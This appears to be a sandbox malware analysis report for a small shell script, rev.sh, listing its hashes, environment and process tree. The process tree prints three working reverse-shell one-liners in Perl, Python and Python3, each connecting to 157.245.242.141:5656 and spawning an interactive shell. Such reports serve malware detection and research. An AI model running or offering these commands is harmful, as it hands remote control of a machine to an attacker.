880c13a1834befc989afd2da1a8ceb4cd5f533a9b614f1ca7e832f14167dcdcc

Analysis

max time kernel
3s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/08/2026, 06:18

Target
rev.sh
Size 1KB
Sample260804-g2tasssgrb
SHA256 880c13a1834befc989afd2da1a8ceb4cd5f533a9b614f1ca7e832f14167dcdcc
MD5 74a1a82e2997075a436a2b1e5238d1cc
SHA1 09b6502654bfef13aa6892635c2bed9272463edd
SHA512 a48e36af3429b56d7ce6cffe7006f677f7fabad450a88657e888ecf803b725337ec8502a229851d5342ce7d0685f8ceebeafd12ce942259617ccdcaab4da0dc6
TLSH
T18C219AB1A2F12E753F70885C6106D3A076DA7B878B8C9DE2897D5AF13613544E094F20
MD5 SHA1 SHA512 TLSH

Score

1^/10

/tmp/rev.sh
/tmp/rev.sh
1⤵
PID:642
- /usr/bin/perl
  perl -e "use Socket;\$i=\"157.245.242.141\";\$p=5656;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"sh -i\");};"
  2⤵
  PID:667
- /usr/bin/python
  python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"157.245.242.141\",5656));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"
  2⤵
  PID:673
- /usr/bin/python3
  python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"157.245.242.141\",5656));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"
  2⤵
  PID:674